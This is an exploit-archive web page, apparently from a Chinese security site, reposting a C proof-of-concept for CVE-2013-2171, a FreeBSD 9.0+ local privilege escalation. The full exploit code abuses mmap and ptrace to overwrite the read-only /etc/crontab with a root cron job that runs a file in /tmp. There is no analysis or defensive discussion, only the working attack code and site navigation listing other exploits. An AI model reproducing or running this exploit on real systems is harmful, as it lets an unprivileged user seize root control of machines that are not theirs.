首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeBSD 9.0+ Privilege Escalation
来源:rdot.org 作者:SynQ 发布时间:2013-06-24  
/* 
* CVE-2013-2171 FreeBSD 9.0+ Privilege escalation via mmap
*
* poc by SynQ, rdot.org, 6/2013
*
* don't forget to cp /etc/crontab /tmp
*
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/types.h>

char sc[]="*\t*\t*\t*\t*\troot\t/tmp/bukeke\n#";

void child() {
  int status;

  status = ptrace(PT_TRACE_ME, 0, 0, 0);
  if (status != 0)
     printf("child ptrace error\n");
  exit(1);
}

int main() {
  int pid, fd, i;
  char *addr;

  fd = open("/etc/crontab", O_RDONLY);
  if (fd<0) {
     printf("open failed\n");
     exit(1);
  }

  addr = mmap(0, 4096, PROT_READ, MAP_SHARED, fd, 0);
  if (addr == MAP_FAILED) {
     printf("mmap fault\n");
     exit(1);
     }

  pid = fork();
  if (pid == -1) {
     printf("fork failed\n");
     exit(1);
     }
  else if (pid == 0)
     child();

  ptrace(PT_ATTACH, pid, 0, 0);
  if (wait(0) == -1) {
     printf("wait failed\n");
     exit(1);
     }
  printf("writing shellcode...\n");

  for(i=0; i < sizeof(sc)/4; i++)
     ptrace(PT_WRITE_D, pid, addr+i*4, *(int*)&sc[i*4]);

  ptrace(PT_DETACH, pid, 0, 0);
  if (wait(0) == -1) {
     printf("wait2 failed\n");
     exit(1);
     }

  printf("done.\n");
  return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mozilla Firefox 21.0 Denial Of
·PEiD 0.95 Memory Corruption
·HP System Management Homepage
·AudioCoder 0.8.22 - Direct Ret
·LibrettoCMS File Manager Arbit
·Seowonintech Devices - Remote
·Seowonintech Remote Root Explo
·MoinMoin twikidraw Action Trav
·Sami FTP Server 2.0.1 RETR Den
·Telnet-Ftp Service Server 1.0
·ZPanel 10.0.0.2 htpasswd Modul
·Sprite Software Android Race C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved